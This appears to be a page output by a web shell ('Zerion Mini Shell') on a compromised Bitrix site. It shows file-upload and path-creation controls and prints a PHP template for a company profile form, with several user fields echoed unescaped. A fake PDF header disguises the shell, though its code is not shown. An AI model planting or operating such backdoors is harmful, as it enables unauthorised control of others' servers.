%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/local/templates/UB/components/UB/main.profile/.default/
Upload File :
Create Path :
Current File : /home/bitrix/www/local/templates/UB/components/UB/main.profile/.default/template_company.php

<?
/**
 * @global CMain $APPLICATION
 * @param array $arParams
 * @param array $arResultwew
 */
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die();

$APPLICATION->AddHeadScript(SITE_TEMPLATE_PATH.'/js/jquery.datetimepicker.js');
$APPLICATION->SetAdditionalCSS(SITE_TEMPLATE_PATH.'/css/jquery.datetimepicker.css');
include_once $_SERVER['DOCUMENT_ROOT'].'/local/templates/UB/includes/localen.php';
?>

<?$APPLICATION->IncludeComponent("bitrix:main.include",".default",
	array("AREA_FILE_SHOW" => "file", "PATH" => SITE_TEMPLATE_PATH."/includes/profile_breadcrumb.php","EDIT_TEMPLATE" => ""));?>

	<script type="text/javascript">
		 <?if (SITE_ID != "s1") {?>
			 var LO_MESS = {
				'REQUIRED_FIELD': 'Required field <b>',
				'IS_NOT_FILLED': '</b> is not filled.<br/>',
				'FOR_REQUIRED_FIELD': 'For required field <b>',
				'VALUE_IS_NOT_SELECT': '</b> value is not select.<br/>',
				'SPECIFIED_YEAR_OF_BIRTH_IS_NOT_VALID': 'Specified year of birth is not valid (age less than 16 years)',
			}
			$(document).ready(function(){

				var mdate = new Date();
				yearEnd_BD = mdate.getFullYear()-16;

				$('#PERSONAL_BIRTHDAY').datetimepicker({
					timepicker:false,
					mask:true,
					validateOnBlur:true,
					lang:'en',
					format:'m/d/Y',
					yearStart:'1950',
					yearEnd:yearEnd_BD,
					maxDate:'1998/12/31',
					defaultDate:'1998/12/31',
					todayButton:false,
					dayOfWeekStart:1
				});

			});
		 <? } else {?>
			 var LO_MESS = {
				'REQUIRED_FIELD': 'Обязательное поле <b>',
				'IS_NOT_FILLED': '</b> не заполнено.<br/>',
				'FOR_REQUIRED_FIELD': 'Для обязательного поля <b>',
				'VALUE_IS_NOT_SELECT': '</b> не выбрано значение.<br/>',
				'SPECIFIED_YEAR_OF_BIRTH_IS_NOT_VALID': 'Указан недопустимый год рождения (возраст меньше 16 лет)',
			 }
			$(document).ready(function(){

				var mdate = new Date();
				yearEnd_BD = mdate.getFullYear()-16;

				$('#PERSONAL_BIRTHDAY').datetimepicker({
					timepicker:false,
					mask:true,
					validateOnBlur:true,
					lang:'ru',
					format:'d.m.Y',
					yearStart:'1950',
					yearEnd:yearEnd_BD,
					maxDate:'1998/12/31',
					defaultDate:'1998/12/31',
					todayButton:false,
					dayOfWeekStart:1
				});

			});
	   <?};?>
	</script>


<div class="content">
	<div class="container">
		<div class="row">
 
			<? $APPLICATION->IncludeComponent("bitrix:menu", "profile", array(
				"ROOT_MENU_TYPE" => "profile",
				"MENU_CACHE_TYPE" => "N",
				"MENU_CACHE_TIME" => "3600",
				"MAX_LEVEL" => "1",
				"USE_EXT" => "N",
				"DELAY" => "N",
				"ALLOW_MULTI_SELECT" => "N"
				),
				false
			);?>
  
			<div class="posts-block col-lg-9 col-md-9 col-sm-8 col-xs-12">
			<div class="bx-auth-profile">
			
			<div class="alert-danger alert" id="required-error-alert" style="display: none;">
				<button type="button" class="close" data-dismiss="alert">×</button>
				<span/>
			</div>
			
<?
	
	if (strlen($arResult["strProfileError"])) {
		?>
			<div class="alert-danger alert">
				<button type="button" class="close" data-dismiss="alert">×</button>
				<?=$arResult["strProfileError"]?>
			</div>
		<?
	}
	elseif ($arResult['DATA_SAVED'] == 'Y') {
		?>
			<div class="alert-success alert">
				<button type="button" class="close" data-dismiss="alert">×</button>
				<?=GetMessage('PROFILE_DATA_SAVED')?>
			</div>
		<?		
	}
	elseif (strlen($arResult["arUser_prof"]['NAME'])==0) {
		?>
			<div class="alert-warning alert">
				<button type="button" class="close" data-dismiss="alert">×</button>
				<?=GetMessage('FILL_IN_ALL_REQUIRED_FIELDS')?><br/>
				<?=GetMessage('SAVE_ALL_CHANGES_BEFORE_MOVING')?>
			</div>
			<script type="text/javascript">
				$(document).ready(function(){
					showWelcome('welcome_company.html');
				});
			</script>
		<?
	}
	elseif (intval($arResult["arUser_prof"]['DETAIL_PICTURE'])==0) {
		?>
			<div class="alert-warning alert">
				<button type="button" class="close" data-dismiss="alert">×</button>
				<?=GetMessage('ATTENTION_PROFILE_WITHOUT_AVATAR')?>
			</div>
		<?
	}

?>

<script type="text/javascript">
<!--
var opened_sections = [<?
$arResult["opened"] = $_COOKIE[$arResult["COOKIE_PREFIX"]."_user_profile_open"];
$arResult["opened"] = preg_replace("/[^a-z0-9_,]/i", "", $arResult["opened"]);
if (strlen($arResult["opened"]) > 0)
{
	echo "'".implode("', '", explode(",", $arResult["opened"]))."'";
}
else
{
	$arResult["opened"] = "reg";
	echo "'reg'";
}
?>];
//-->
var cookie_prefix = '<?=$arResult["COOKIE_PREFIX"]?>';
</script>
<form method="post" name="form1" id="form_main_profile" onsubmit="return checkForm();"
	action="<?=$arResult["FORM_TARGET"]?>" enctype="multipart/form-data">
<?=$arResult["BX_SESSION_CHECK"]?>
<input type="hidden" name="lang" value="<?=LANG?>" />
<input type="hidden" name="ID" value=<?=$arResult["ID"]?> />

<div class="row">
	
<div class="col-lg-6 col-md-6">

<div class="inner">
	<h3 class="title"><?=GetMessage('REGISTRATION_DATA')?></h3>
  <table class="profile-table data-table">
		<tbody>
		<tr style="display:none;">
			<td><?=GetMessage('EMAIL_USERNAME')?><span class="starrequired">*</span></td>
			<td><input type="text" name="LOGIN" maxlength="50" value="<? echo $arResult["arUser"]["LOGIN"]?>" /></td>
		</tr>
		<tr>
			<td><span id="desc-name"><?=GetMessage('NAME')?> *</span></td>
			<td><input class="prof_fio form-control" type="text" data-required="desc-name" name="NAME" maxlength="50"
				value="<?=$arResult["arUser"]["NAME"]?>" /></td>
		</tr>
		<tr>
			<td><span id="desc-last-name"><?=GetMessage('LAST_NAME')?> *</span></td>
			<td><input class="prof_fio form-control" type="text" data-required="desc-last-name" name="LAST_NAME" maxlength="50"
				value="<?=$arResult["arUser"]["LAST_NAME"]?>" /></td>
		</tr>
		<tr>
			<td><span id="desc-email"><?=GetMessage('EMAIL_LOGIN')?></span>
				
			<span class="popup_help"
				data-trigger="hover"
				data-content="<?=GetMessage('EMAIL_IS_USED_AS_A_LOGIN')?>"
		  ><i class="fa fa-question-circle"></i></span>
				
			</td>
			<td><input type="text" class="form-control" data-required="desc-email" name="EMAIL" maxlength="50"
				value="<? echo $arResult["arUser"]["EMAIL"]?>" /></td>
		</tr>
		<tr class="change_password">
			<td colspan="2"><a href="#" id="change_password"><?=GetMessage('CHANGE_PASSWORD')?></a></td>
		</tr>
		<tr class="password">
			<td><?=GetMessage('NEW_PASSWORD_REQ')?>

			<span class="popup_help"
				data-trigger="hover"
				data-content="<?echo $arResult["GROUP_POLICY"]["PASSWORD_REQUIREMENTS"];?><?=GetMessage('LEAVE_PASSWORD_FIELDS_EMPTY')?>"
		  ><i class="fa fa-question-circle"></i></span>
			
			</td>
			<td><input type="password" class="form-control" name="NEW_PASSWORD" maxlength="50" value="" autocomplete="off" class="bx-auth-input" /></td>
		</tr>
		<tr class="password">
			<td><?=GetMessage('NEW_PASSWORD_CONFIRM')?></td>
			<td><input type="password" class="form-control" name="NEW_PASSWORD_CONFIRM" maxlength="50" value="" autocomplete="off" /></td>
		</tr>
		</tbody>
	</table>
</div>

<div class="inner">
	<h3 class="title"><?=GetMessage('REGION')?></h3>
	<table class="data-table profile-table">
	<tbody>
		<tr>
			<td><span id="desc-country"><?=GetMessage('USER_COUNTRY')?> *</span></td>
			<td><?=$arResult["COUNTRY_SELECT"]?></td>
		</tr>
		<tr>
			<td><?=GetMessage('USER_STATE')?></td>
			<td>
			<select id="PERSONAL_STATE" class="typeselect" name="PROF_PERSONAL_STATE" data-placeholder="<?=GetMessage('SELECT_THE_REGION')?>">
				<option value=""></option>
			</select> 
		</td>
		</tr>
		<tr>
			<td><span id="desc-city"><?=GetMessage('USER_CITY')?> *</span></td>
			<td>
				<input type="hidden" id="arUser_prof_RN" value="<?=$arResult["arUser_prof"]["RN"]?>">
				<input type="hidden" id="arUser_prof_CITY" value="<?=$arResult["arUser_prof"]["CITY"]?>">
				<select id="PERSONAL_CITY" class="typeselect" data-required="desc-city" name="PROF_PERSONAL_CITY" data-placeholder="<?=GetMessage('SELECT_THE_CITY')?>">
					<option value=""></option>
				</select> 
			</td>
		</tr>
		<tr style="display:none;" >
			<td><?=GetMessage('USER_ZIP')?></td>
			<td><input type="text" class="form-control" name="PERSONAL_ZIP" maxlength="255" value="<?=$arResult["arUser"]["PERSONAL_ZIP"]?>" /></td>
		</tr>
		<tr style="display:none;" >
			<td><?=GetMessage("USER_STREET")?></td>
			<td><input type="text" class="form-control" name="PERSONAL_STREET" maxlength="255" value="<?=$arResult["arUser"]["PERSONAL_STREET"]?>" /></td>
		</tr>
	</tbody>
	</table> 
</div>
	
<div class="inner">
	<h3 class="title"><?=GetMessage('PROFILE_ON_PORTAL')?></h3>
	<table class="profile-table data-table">
		<tbody>
		<tr>
			<td><?=GetMessage('TITLE')?>
						<span class="popup_help"
							data-trigger="hover"
							data-content="<?=GetMessage('CREATIVE_NAME')?>"
					  ><i class="fa fa-question-circle"></i></span>			
			</td>
			<td><input class="prof_fio form-control" type="text" name="PERSONAL_PROFESSION" maxlength="40"
				value="<?=$arResult["arUser"]["PERSONAL_PROFESSION"]?>" /></td>
		</tr>
		<tr>
			<td><?=GetMessage('DISPLAY_AS')?>
						<span class="popup_help"
							data-trigger="hover"
							data-content="<?=GetMessage('YOU_CAN_SELECT_A_SUITABLE_OPTION_OF_DISPLAY')?>"
					  ><i class="fa fa-question-circle"></i></span>			
			</td>
			<td id="PROFILE_NAME_TD" style="max-width: 270px;">
			 <select id="PROFILE_NAME" class="typeselect" name="PROFILE_NAME" data-placeholder="<?=GetMessage('SELECT')?>">
			 <?
			 	if (strlen($arResult["arUser_prof"]["NAME"])>0) { // Если представление (NAME профиля задано)
				 	?><option selected><?=$arResult["arUser_prof"]["NAME"]?></option><?
			 	}
			 ?>
			</select>
			</td>
		</tr>
		<tr>
			<td><?=GetMessage('PAGE_ADDRESS')?>
						<span class="popup_help"
							data-trigger="hover"
							data-content="<?=GetMessage('PAGE_ADDRESS_FOR_LINK_TO_THE_PROFILE')?>"
					  ><i class="fa fa-question-circle"></i></span>			
			</td>
			<td><input class="form-control" type="text" id="PROFILE_CODE" name="PROFILE_CODE" maxlength="50"
				value="<?=$arResult["arUser_prof"]["CODE"]?>" /></td>
		</tr>
    <tr>
			<td><?=GetMessage('PROFILE_TYPE')?>
					<span class="popup_help"
						data-trigger="hover"
						data-content="<?=GetMessage('PROFILE_TYPE_CAN_NOT_BE_CHANGED')?>"
				  ><i class="fa fa-question-circle"></i></span>
			</td>
			<td>
				<?
				$rsEnum = CUserFieldEnum::GetList(array(), array("ID" =>$arResult['arUser']['UF_USR']));
				if ($arEnum = $rsEnum->GetNext()):
					$modelID = $arEnum["XML_ID"];
				?>
				  <input type="hidden" name="CAT_PROF" value="<?=$arEnum["XML_ID"]?>" />
				  <?=SITE_ID == "dv" ? $CatProfEn[$arEnum["XML_ID"]] : $arEnum["VALUE"]?>				  
				<?endif;?>
			</td>
		</tr>
	</tbody>
	</table> 
</div>

</div>

<div class="col-lg-6 col-md-6">
<div class="inner">
	<h3 class="title"><?=GetMessage('OPEN_CONTACTS')?></h3>
	<table class="data-table profile-table">
	<tbody>
		<tr>
			<td><?=GetMessage('USER_MOBILE')?> 1</td>
			<td><input type="text" class="form-control" name="PERSONAL_MOBILE" maxlength="255" value="<?=$arResult["arUser"]["PERSONAL_MOBILE"]?>" /></td>
		</tr>
		<tr>
			<td><?=GetMessage('USER_MOBILE')?> 2</td>
			<td><input type="text" class="form-control" name="PERSONAL_PHONE" maxlength="255" value="<?=$arResult["arUser"]["PERSONAL_PHONE"]?>" /></td>
		</tr>
		<tr>
			<td><?=GetMessage('WEBSITE')?>
					<span class="popup_help"
						data-trigger="hover"
						data-content="<?=GetMessage('URL_OF_YOUR_SITE')?>"
				  ><i class="fa fa-question-circle"></i></span>
			</td>
			<td><input type="text" class="form-control" name="PERSONAL_WWW" maxlength="255" value="<?=$arResult["arUser"]["PERSONAL_WWW"]?>" /></td>
		</tr>
		<tr>
			<td>E-mail:
					<span class="popup_help"
						data-trigger="hover"
						data-content="<?=GetMessage('EMAIL_ADDRESS')?>"
				  ><i class="fa fa-question-circle"></i></span>
			</td>
			<td><input type="text" class="form-control" name="PERSONAL_MAILBOX" maxlength="255" value="<?=$arResult["arUser"]["PERSONAL_MAILBOX"]?>" /></td>
		</tr>
		<tr>
			<td><?=GetMessage('SKYPE')?></td>
			<td><input type="text" class="form-control" name="PERSONAL_ICQ" maxlength="255" value="<?=$arResult["arUser"]["PERSONAL_ICQ"]?>" /></td>
		</tr>

		<?
		$socLinkHosts = array(
			'vk' => '',
			'facebook' => '',
			'instagram' => '',
			'pinterest' => '',
			'twitter' => ''
		);
			
		if (isset($arResult['arUser']['UF_SOCIAL']) && sizeof($arResult['arUser']['UF_SOCIAL'])>0)
			foreach($arResult['arUser']['UF_SOCIAL'] as $item) {
				$url = parse_url(stripos($item, "://")===false?'http://'.$item:$item);
				foreach($socLinkHosts as $key => $value)
					if (stripos($url['host'], $key)!==false) $socLinkHosts[$key] = $item;
			}

		$k=0;
		foreach($socLinkHosts as $key => $value):
		?>
		<tr>
			<?if($k==0):?>
			<td style="vertical-align: top; padding-top: 5px;"><?=GetMessage('SOCIAL_NETWORKS')?>
			<?else:?>
			<td>
			<?endif;?>
			<span class="popup_help"
				data-trigger="hover"
				data-content="<?=GetMessage('LINK_TO_YOUR_PROFILE_IN')?><?=$key?>"><i class="fa fa-<?=$key?>"></i></span>			
			</td>
			<td>
				<input type="text" class="form-control" name="UF_SOCIAL[]" maxlength="255" data-url="<?=$key?>" value="<?=$value?>" />
			</td>
		</tr>
		<?
			$k++;
		endforeach;
		?>
	</tbody>
	</table>
</div> 
<div class="inner" style="display: none">
	<h3 class="title"><?=GetMessage('ADDITIONALLY')?></h3>
	<table class="data-table profile-table">
	<tbody>
		<tr>
			<td><span id="desc-bdate"><?=GetMessage('BIRTHDAY')?><?=$modelID==CAT_PROFILE_MODEL?' *':''?></span></td>
			<td>
			<a href="#" onclick="jQuery('#PERSONAL_BIRTHDAY').datetimepicker('show');"><i class="fa fa-calendar"></i></a>&nbsp;
			<input class="form-control" style="display: inline-block" type="text"
				id="PERSONAL_BIRTHDAY"<?=$modelID==CAT_PROFILE_MODEL?' data-required="desc-bdate"':''?> name="PERSONAL_BIRTHDAY" value="<?=$arResult["arUser"]["PERSONAL_BIRTHDAY"]?>">
			</td>
		</tr>
		<tr>
			<td><?=GetMessage('SEX')?></td>
			<td>
				<select id="SEX" class="tpsl2 typeselect" name="SEX" data-placeholder="<?=GetMessage('DECIDE_ON_THE_SEX')?>">
					<option></option>
					<option <?if($arResult["arUser_prof"]["SEX"]==19){?>selected <?}?>value="19"><?=GetMessage('MALE')?></option>
					<option <?if($arResult["arUser_prof"]["SEX"]==20){?>selected <?}?>value="20"><?=GetMessage('FEMALE')?></option>
				</select>
			</td>
		</tr>
		<tr>
			<td><?=GetMessage('LENGTH_OF_WORK')?></td>
			<td>
				<?=$arResult["arUser_prof"]["ARSTAGE"]?>
			</td>
		</tr>
		<tr style="display:none;" >
			<td><?=GetMessage('INTERFACE')?></td>
			<td>
				<select id="LANGUAGE" class="tpsl2 typeselect" name="LANGUAGE">
					<option <?if($arResult["arUser_prof"]["LANGUAGE"]==26){?>selected <?}?>value="26"><?=GetMessage('RUSSIAN')?></option>
					<option <?if($arResult["arUser_prof"]["LANGUAGE"]==27){?>selected <?}?>value="27"><?=GetMessage('ENGLISH')?></option>
				</select> 
			</td>
		</tr>
	</tbody>
	</table>
</div>
</div>
</div>
 
<p><?=GetMessage('REQUIRED')?></p>
<div style="float:right">
	<input class="btn-small btn-color btn-pad" type="submit" name="save" value="<?=(($arResult["ID"]>0) ? GetMessage("MAIN_SAVE") : GetMessage("MAIN_ADD"))?>">&nbsp;&nbsp;
	<!-- <input class="btn-small btn-color btn-pad" type="reset" value="<?=GetMessage('MAIN_RESET');?>"> -->
</div>
</form>
</div>

	</div>
  </div>
 </div>
</div>

<!-- help -->
<div class="modal fade" id="help_profile_popup" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
	<div class="modal-dialog">
	  <div class="modal-content">
	    <div class="modal-header">
		    <button type="button" class="close" data-dismiss="modal">&times;</button>
		    <span class="modal-title"><?=GetMessage('WELCOME_TO_THE_PORTAL')?></span>
	    </div>
	    <div class="modal-body">
	    </div>
<!--
	    <div class="modal-footer">
				<button type="button" class="btn-small btn-grey" data-dismiss="modal"><?//=GetMessage('CLOSE')?></button>
	    </div>
-->
	  </div>
	</div><?//$tb=CUserFieldEnum::GetList(array(), array())?>
</div><?//echo '<pre>'; print_r($tb); echo '</pre>';?>

Zerion Mini Shell 1.0